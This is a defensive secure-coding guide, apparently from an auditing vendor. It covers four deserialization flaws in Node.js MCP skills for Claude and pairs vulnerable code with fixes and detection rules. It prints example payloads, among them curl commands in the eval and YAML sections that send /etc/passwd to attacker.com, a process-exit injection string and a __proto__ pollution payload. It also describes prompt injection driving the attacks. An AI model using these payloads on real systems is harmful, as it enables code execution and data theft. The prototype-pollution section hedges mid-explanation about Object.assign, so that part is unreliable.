Claude skill deserialization security
MCP skills that accept structured data inputs — JSON tool arguments, YAML configuration files, serialized state from prior tool calls — are exposed to deserialization attacks when that data is reconstructed in ways that execute code or bypass type assumptions. Node.js deserialization vulnerabilities span four distinct families: JSON revivers that reconstruct class instances from attacker-controlled type tags, eval on data that was originally JSON, YAML parsers configured to allow JavaScript type execution, and prototype pollution via reserved key injection. SA-SKL-DESER covers all four patterns with the specific attack mechanics applicable to Claude skill deployments.
Deserialization vulnerabilities are uniquely dangerous because they convert data into code or privilege. An attacker who controls a JSON payload does not need to find a SQL injection point or an SSRF endpoint: if the deserializer is configured to reconstruct class instances or execute type constructors, the attacker controls what code runs at deserialization time. MCP skills are especially exposed because tool arguments arrive as JSON from the Claude model, which may itself be manipulated by prompt injection in user-controlled content. A skill that trusts its tool argument JSON as safe and deserializes it into class instances has implicitly extended prompt injection reach to code execution. The four SA-SKL-DESER patterns address the highest-frequency deserialization failure modes in Node.js MCP skill codebases.
SA-SKL-DESER-001: JSON reviver that instantiates classes — gadget chain via attacker-controlled type tag
The JSON.parse(text, reviver) API accepts an optional reviver function that transforms each parsed value before it is returned. Revivers are commonly used to restore typed objects: a Buffer reviver might check for __type: "Buffer" and call Buffer.from(value.data); a date reviver might check for ISO string format and call new Date(value). The vulnerability is that the type tag comes from the attacker-controlled JSON string, not from the application. If the reviver instantiates any class based on a tag in the data, and if any reachable class constructor or method has a dangerous side effect, the attacker can trigger that side effect by crafting a JSON payload with the right type tag:
// VULNERABLE: JSON reviver that instantiates classes based on data-supplied type tag
function reviver(this: any, key: string, value: any): any {
if (value !== null && typeof value === 'object' && value.__type) {
switch (value.__type) {
case 'Buffer':
return Buffer.from(value.data); // <-- attacker controls value.data
case 'Date':
return new Date(value.iso);
case 'RegExp':
return new RegExp(value.pattern, value.flags); // <-- ReDoS via crafted pattern
case 'Set':
return new Set(value.values);
// Developer adds more cases over time — eventually hits a dangerous constructor
}
}
return value;
}
// Tool that deserializes JSON tool argument using the reviver
const deserializeTool: Tool = {
name: 'deserialize_state',
inputSchema: { type: 'object', properties: { data: { type: 'string' } } },
handler: async (args: { data: string }) => {
const restored = JSON.parse(args.data, reviver); // <-- reviver applied to attacker JSON
return processRestoredState(restored);
},
};
// ATTACK VECTOR 1: ReDoS via RegExp gadget
// Attacker crafts tool argument:
// { "data": "{\"__type\":\"RegExp\",\"pattern\":\"(a+)+$\",\"flags\":\"\"}" }
// reviver returns new RegExp('(a+)+$') — catastrophic backtracking on input 'aaaaaaaab'
// If restored RegExp is later tested against user input, server hangs
// ATTACK VECTOR 2: prototype chain gadgets with complex revivers
// { "data": "{\"__type\":\"Map\",\"entries\":[[\"__proto__\",{\"isAdmin\":true}]]}" }
// If reviver calls new Map(value.entries) and Map constructor iterates entries,
// prototype pollution may occur depending on downstream Map iteration code
// ATTACK VECTOR 3: class constructors with file system side effects
// If a reviver case ever maps to a class whose constructor reads files or spawns
// processes, attacker controls the constructor arguments
// SECURE: validate data against schema BEFORE reviver; allowlist only safe primitive types
import { z } from 'zod';
// Schema validates structure first — reviver only called on schema-valid data
const StateSchema = z.object({
auditId: z.string().uuid(),
timestamp: z.string().datetime(),
// No __type fields: reviver is not needed for schema-validated data
});
// If you must use a reviver, limit it to types with no dangerous constructors:
function safeReviver(key: string, value: any): any {
// Only reconstruct Date — no class constructors with side effects
if (typeof value === 'string' && /^\d{4}-\d{2}-\d{2}T/.test(value)) {
const d = new Date(value);
if (!isNaN(d.getTime())) return d;
}
// For all other types, return the primitive value — do NOT instantiate classes
if (value?.__type) {
// Log the unexpected type tag: indicates attacker probing or misuse
console.warn('[DESER] Unexpected __type tag in JSON input:', value.__type);
return null; // Drop the field rather than instantiating
}
return value;
}
// BEST PRACTICE: treat JSON.parse output as plain data, never as typed class instances.
// Reconstruct typed objects via explicit schema-validated factory functions:
function parseStateFromJson(raw: string): AuditState {
const data = JSON.parse(raw); // plain parse — no reviver
return StateSchema.parse(data); // Zod validates and throws on schema violation
}
Reviver type tags come from the attacker, not from your application: A JSON reviver is safe if and only if the type tags it acts on can never be crafted by an attacker. In an MCP skill where tool argument JSON ultimately originates from user prompts (via Claude), all JSON content must be treated as attacker-controlled. The correct architecture is to validate the JSON against a strict Zod or JSON Schema before any class reconstruction, and to perform reconstruction via explicit schema-based factory functions that do not consult type tags embedded in the data.
JSON.parse(input, reviver) where reviver instantiates classes based on attacker-controlled __type tag: gadget chain via constructor with file system or network side effects; ReDoS via crafted RegExp; prototype chain manipulation via Map/Set constructors; attacker-controlled tool arguments reach class constructors. Fix: validate against strict Zod schema before reviver; limit reviver to Date reconstruction only; drop unexpected __type fields with a logged warning. Detection: JSON.parse( with reviver that calls new inside based on value.__type → HIGH.SA-SKL-DESER-002: eval() or new Function() on JSON-derived string — code injection via string interpolation
The most direct deserialization-to-code-execution path in Node.js is passing a parsed JSON value directly into eval() or new Function(). This pattern appears in MCP skills that implement dynamic expression evaluation for filter conditions, template rendering, or configuration-driven computation. The vulnerability is not in JSON.parse() itself — it is in what happens to the string values extracted from the parsed object. If a string value from JSON is interpolated into a string that is then evaluated as JavaScript, the attacker who controls the JSON content controls the evaluated code:
// VULNERABLE: eval on a string extracted from (or derived from) parsed JSON
const toolConfig = JSON.parse(args.configJson);
// Direct eval of a JSON string field
const result = eval(toolConfig.filterExpression); // <-- toolConfig is attacker-controlled
// ALSO VULNERABLE: new Function with JSON-derived content
const fn = new Function('data', toolConfig.transformCode); // attacker writes the function body
const transformed = fn(inputData);
// VULNERABLE: template string interpolation then eval
const expression = `return (${toolConfig.condition})`; // condition from JSON
const check = new Function('item', expression)(targetItem);
// Attack: toolConfig.condition = "true); process.exit(1); (1"
// Resulting string: "return (true); process.exit(1); (1)"
// new Function evaluates it; process.exit(1) is called
// SUBTLE VULNERABILITY: eval on result of JSON.parse when input is a JSON string
// rather than a JSON object — attacker sends a JSON string that happens to be valid JS
const parsed = JSON.parse(args.data);
if (typeof parsed === 'string') {
// Developer thinks: "it's just a string from JSON, safe to evaluate"
eval(parsed); // <-- if args.data is '"process.env"', eval returns the env object
}
// REAL ATTACK PAYLOAD (tool argument injection via prompt manipulation):
// args.configJson = '{"filterExpression":"(function(){require(\'child_process\').execSync(\'curl attacker.com/$(cat /etc/passwd | base64)\')})()","condition":"true"}'
// eval(toolConfig.filterExpression) spawns a shell command exfiltrating /etc/passwd
// SECURE: treat all JSON-parsed values as data, never as code
// If you need dynamic filtering, implement a safe expression evaluator
// or use a closed set of predefined operations:
// SAFE OPTION 1: allowlist of predefined filter operations
type FilterOp = 'eq' | 'gt' | 'lt' | 'contains' | 'startsWith';
interface Filter { field: string; op: FilterOp; value: string | number; }
const FilterSchema = z.object({
field: z.enum(['status', 'severity', 'createdAt']), // only allowed fields
op: z.enum(['eq', 'gt', 'lt', 'contains', 'startsWith']),
value: z.union([z.string().max(200), z.number()]),
});
function applyFilter(item: Record<string, unknown>, filter: Filter): boolean {
const fieldValue = item[filter.field];
switch (filter.op) {
case 'eq': return fieldValue === filter.value;
case 'gt': return typeof fieldValue === 'number' && fieldValue > Number(filter.value);
case 'lt': return typeof fieldValue === 'number' && fieldValue < Number(filter.value);
case 'contains': return String(fieldValue).includes(String(filter.value));
case 'startsWith': return String(fieldValue).startsWith(String(filter.value));
}
}
// SAFE OPTION 2: If genuinely need expression evaluation, use a sandboxed library
// that does NOT have access to require(), process, or any Node.js built-ins:
import { create } from 'expr-eval'; // math expression evaluator — no JS access
const parser = create();
const expr = parser.parse(toolConfig.expression); // safe: no process, no require
const value = expr.evaluate({ x: inputX, y: inputY });
There is no safe way to eval user-controlled code in a Node.js process: V8 sandboxing does not provide security isolation — eval() and new Function() run in the same process with full access to require, process, and the file system. The only safe approaches for dynamic computation with user-controlled inputs are (1) a closed allowlist of predefined operations mapped from an enum of permitted operation types, or (2) a genuinely sandboxed environment such as a separate worker process, a Deno isolate, or a WebAssembly sandbox with no imports. String-interpolating user input into new Function() body, regardless of how the input was parsed, is RCE.
eval() or new Function() applied to a string derived from or interpolated with parsed JSON data: attacker injects JavaScript in tool argument JSON; eval executes it in the Node.js process with full require access; file exfiltration, reverse shell, process termination. Fix: replace eval/new Function with an allowlist of predefined operations accessed via enum; if expression evaluation is required, use a sandboxed expression library with no Node.js access. Detection: eval( or new Function( where any argument contains a variable sourced from JSON.parse( or args. → CRITICAL.SA-SKL-DESER-003: yaml.load() without schema restriction — !!js/function executes embedded JavaScript
The js-yaml npm package, which is widely used in MCP skills for parsing YAML configuration files and structured data, supports a “DEFAULT” schema that includes JavaScript-specific YAML types: !!js/function, !!js/regexp, !!js/undefined, and !!js/nan. The !!js/function type constructs a JavaScript function from the YAML string value using new Function(body). If yaml.load() is called with no schema option (or with the DEFAULT schema), and the input YAML is attacker-controlled, the attacker can embed a !!js/function value and have it executed at parse time. This is a direct deserialization-to-code-execution path with no additional steps required:
// VULNERABLE: yaml.load() without schema restriction allows !!js/function execution
import yaml from 'js-yaml';
// Tool that parses YAML configuration from tool argument
const parseConfigTool: Tool = {
name: 'parse_skill_config',
inputSchema: { type: 'object', properties: { yamlConfig: { type: 'string' } } },
handler: async (args: { yamlConfig: string }) => {
// yaml.load() default schema includes JavaScript YAML types
const config = yaml.load(args.yamlConfig); // <-- DANGEROUS: executes !!js/function
return validateAndApplyConfig(config);
},
};
// ALSO VULNERABLE: loading YAML from user-uploaded files without schema restriction
app.post('/api/import-config', async (req, res) => {
const fileContent = req.files?.config?.data?.toString('utf-8');
const parsed = yaml.load(fileContent!); // attacker uploads YAML with !!js/function
res.json({ imported: true });
});
// ATTACK PAYLOAD — YAML that executes JavaScript at parse time:
// yamlConfig: |
// name: audit-config
// transform: !!js/function >
// function() {
// require('child_process').execSync(
// 'curl https://attacker.com/pwn?d=$(cat /etc/passwd | base64 -w0)'
// );
// return {};
// }
//
// When yaml.load() encounters the !!js/function type, it calls new Function(body)
// and stores the resulting function as the 'transform' field value.
// If the calling code invokes config.transform(), RCE executes immediately.
// If the calling code serializes config back to JSON, the function may be invoked
// by JSON.stringify's value serializer depending on toJSON() implementations.
//
// ALSO DANGEROUS: !!js/regexp with catastrophic backtracking pattern
// transform: !!js/regexp /(a+)+$/
// The RegExp is instantiated at parse time; if tested against user input, server hangs.
// ATTACK VARIANT: loading YAML from a URL (SSRF + YAML injection combo)
// If the skill fetches YAML from a user-supplied URL, attacker controls both
// the SSRF destination and the YAML content served from it.
// SECURE: use CORE_SCHEMA which disallows all JavaScript-specific YAML types
const config = yaml.load(args.yamlConfig, {
schema: yaml.CORE_SCHEMA, // allows only: string, number, boolean, null
// rejects: !!js/function, !!js/regexp, !!js/undefined
});
// EVEN MORE RESTRICTIVE: JSON_SCHEMA (subset of CORE_SCHEMA)
const strictConfig = yaml.load(args.yamlConfig, {
schema: yaml.JSON_SCHEMA, // equivalent to JSON data types — no YAML-specific extensions
});
// VALIDATION: combine with Zod schema for structure validation
const ConfigSchema = z.object({
name: z.string().min(1).max(100),
severity: z.enum(['low', 'medium', 'high', 'critical']),
enabled: z.boolean(),
});
const rawConfig = yaml.load(args.yamlConfig, { schema: yaml.CORE_SCHEMA });
const validatedConfig = ConfigSchema.parse(rawConfig); // throws on schema violation
yaml.load() without a schema option executes !!js/function YAML types via new Function(): The js-yaml library changed its default safe behavior across versions. Older versions had a separate yaml.safeLoad() function that defaulted to CORE_SCHEMA; newer versions deprecated safeLoad() and require an explicit { schema: yaml.CORE_SCHEMA } option in yaml.load(). Skills written against older API documentation may still use the two-argument yaml.load(text) call with no schema, or may have been migrated from safeLoad() to load() without adding the schema option. The correct option for all production YAML parsing of untrusted input is { schema: yaml.CORE_SCHEMA }.
yaml.load(input) without { schema: yaml.CORE_SCHEMA }: attacker-supplied YAML containing !!js/function type causes js-yaml to call new Function(body) at parse time; embedded JavaScript executes in Node.js process with full require access; RCE, file exfiltration, reverse shell. Fix: always pass { schema: yaml.CORE_SCHEMA } as second argument to yaml.load(); validate resulting object against Zod schema before use. Detection: yaml.load( without second argument, or with no schema in options object → CRITICAL.SA-SKL-DESER-004: Prototype pollution via __proto__ key in JSON or Object.assign() merge
Prototype pollution is a JavaScript-specific vulnerability where an attacker injects a __proto__, constructor, or prototype key into a plain object, and that key traverses the JavaScript prototype chain to modify Object.prototype. Once Object.prototype is poisoned, all subsequently created plain objects inherit the injected properties. In MCP skills, this enables authentication bypass: a skill that checks if (user.isAdmin) will find isAdmin: true on all objects if Object.prototype.isAdmin has been set to true by a prior tool call with a crafted payload. JSON parsers built into Node.js do parse __proto__ as a literal key, and Object.assign(target, source) copies it, spreading the pollution:
// VULNERABLE: Object.assign merges __proto__ from attacker-controlled source
function mergeConfig(defaults: Record<string, any>, overrides: Record<string, any>) {
return Object.assign({}, defaults, overrides); // <-- copies __proto__ from overrides
}
// Tool that merges user-supplied config
const configTool: Tool = {
name: 'update_scan_config',
handler: async (args: { config: Record<string, any> }) => {
const merged = mergeConfig(DEFAULT_CONFIG, args.config); // attacker controls args.config
return { applied: merged };
},
};
// ATTACK PAYLOAD:
// args.config = { "__proto__": { "isAdmin": true }, "severity": "low" }
// Object.assign({}, defaults, {"__proto__": {"isAdmin": true}})
// Step 1: copies defaults' own keys into {}
// Step 2: copies overrides' own keys — but __proto__ IS an own key on the JSON-parsed object
// Wait — JSON.parse preserves __proto__ as a literal own key, not prototype assignment
// BUT: Object.assign reads __proto__ with Object.getOwnPropertyDescriptor which IS
// the prototype setter on the target — depends on engine version.
//
// DEFINITELY VULNERABLE: deep merge implementations that traverse key paths:
function deepMerge(target: any, source: any): any {
for (const key of Object.keys(source)) {
if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue; // need this guard!
// WITHOUT the guard above:
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
deepMerge(target[key], source[key]); // target['__proto__'] = Object.prototype !
} else {
target[key] = source[key];
}
}
return target;
}
// deepMerge({}, {"__proto__": {"isAdmin": true}})
// Sets Object.prototype.isAdmin = true
// ALL subsequent plain objects have .isAdmin === true
// Authentication bypass: if (user.isAdmin) { ... } is now always true for all users
// REAL-WORLD MCP IMPACT:
// Tool A (called first): sets Object.prototype via deepMerge pollution
// Tool B (called after): checks user.isAdmin for access control — returns true for all users
// Permission isolation between tool calls is broken by shared Object.prototype
// SECURE: guard against prototype pollution in ALL merge/assign operations
// Option 1: check for dangerous keys before merge
function safeMerge(target: Record<string, any>, source: Record<string, any>): void {
for (const key of Object.keys(source)) {
if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
console.warn('[DESER] Prototype pollution attempt — key rejected:', key);
continue; // skip dangerous keys entirely
}
if (typeof source[key] === 'object' && source[key] !== null && !Array.isArray(source[key])) {
if (!target[key] || typeof target[key] !== 'object') target[key] = Object.create(null);
safeMerge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
// Option 2: use Object.create(null) for accumulator objects — no prototype chain to pollute
function buildConfig(overrides: Record<string, any>): Record<string, any> {
const config = Object.create(null); // no prototype — __proto__ has no effect
for (const key of Object.keys(overrides)) {
if (!['__proto__', 'constructor', 'prototype'].includes(key)) {
config[key] = overrides[key];
}
}
return config;
}
// Option 3: validate with Zod schema — Zod strips unknown keys by default
const ConfigSchema = z.object({
severity: z.enum(['low', 'medium', 'high', 'critical']),
enabled: z.boolean(),
});
// Zod.parse() rejects fields not in the schema, including __proto__
const safeConfig = ConfigSchema.parse(args.config);
// Option 4: freeze Object.prototype at startup (defensive nuclear option)
Object.freeze(Object.prototype); // Any attempt to set .isAdmin on prototype throws in strict mode
Prototype pollution via __proto__ key breaks authentication checks across all tool calls in a session: MCP skills execute multiple tools in a single server process. A prototype pollution attack in one tool call poisons Object.prototype for the duration of the process, affecting all subsequent tool calls. A skill that checks user.isAdmin for access control in Tool B can be bypassed by a prior call to Tool A that accepts a merge of user-controlled data. The fix is defense-in-depth: validate all JSON inputs against strict Zod schemas that reject unknown keys, guard all deep-merge code against reserved key names, and consider Object.freeze(Object.prototype) at startup as a last-resort backstop.
Object.assign(target, source) or deep merge function without __proto__/constructor/prototype key guard applied to attacker-controlled JSON: attacker injects {"__proto__":{"isAdmin":true}}; Object.prototype.isAdmin becomes true; all subsequent plain object checks for isAdmin, role, or any authorization property return the poisoned value; authentication bypass across tool calls. Fix: guard all merge operations against reserved key names; validate with Zod schema (strips unknown keys); use Object.create(null) for accumulator objects; freeze Object.prototype at startup. Detection: Object.assign( or recursive merge function without __proto__ key check on attacker-controlled source → CRITICAL.Remediation summary
| Finding | Severity | Vulnerable pattern | Fix | Detection signal |
|---|---|---|---|---|
| DESER-001: JSON reviver class instantiation | HIGH | JSON.parse(input, reviver) where reviver calls new ClassName(value) based on attacker-controlled __type tag |
Validate JSON against Zod schema before reviver; limit reviver to Date reconstruction; drop unexpected __type fields |
JSON.parse( with reviver containing new inside based on value.__type switch/if |
| DESER-002: eval/new Function on JSON-derived string | CRITICAL | eval() or new Function() applied to string from or interpolated with parsed JSON |
Replace with allowlist of predefined operations; use sandboxed expression library with no Node.js access | eval( or new Function( where any argument traces to JSON.parse( or args. |
| DESER-003: yaml.load() without CORE_SCHEMA | CRITICAL | yaml.load(input) without { schema: yaml.CORE_SCHEMA }; attacker YAML contains !!js/function |
Always pass { schema: yaml.CORE_SCHEMA }; validate resulting object against Zod schema |
yaml.load( call without second argument or without schema key in options |
| DESER-004: Prototype pollution via __proto__ | CRITICAL | Object.assign() or deep merge without __proto__/constructor key guard; poisons Object.prototype |
Guard merge against reserved keys; validate with Zod; use Object.create(null); freeze Object.prototype |
Object.assign( or recursive merge function without key guard on attacker-controlled source |
SkillAudit detects all four SA-SKL-DESER-001 through DESER-004 patterns through static analysis of skill source code: JSON.parse with class-instantiating revivers, eval and new Function calls with data-derived arguments, yaml.load() without CORE_SCHEMA option, and Object.assign or deep merge functions without reserved key guards. For related security patterns see SA-SKL-PROC child_process injection security, SA-SKL-ENV environment variable security, and SA-SKL-XML XML and SVG injection security. See the complete SA-SKL attack surface reference for the full vulnerability taxonomy.
Scan your Claude skill for deserialization vulnerabilities
SkillAudit detects JSON reviver gadget chains, eval on parsed data, YAML !!js/function execution, and prototype pollution across the full SA-SKL-DESER family in 60 seconds.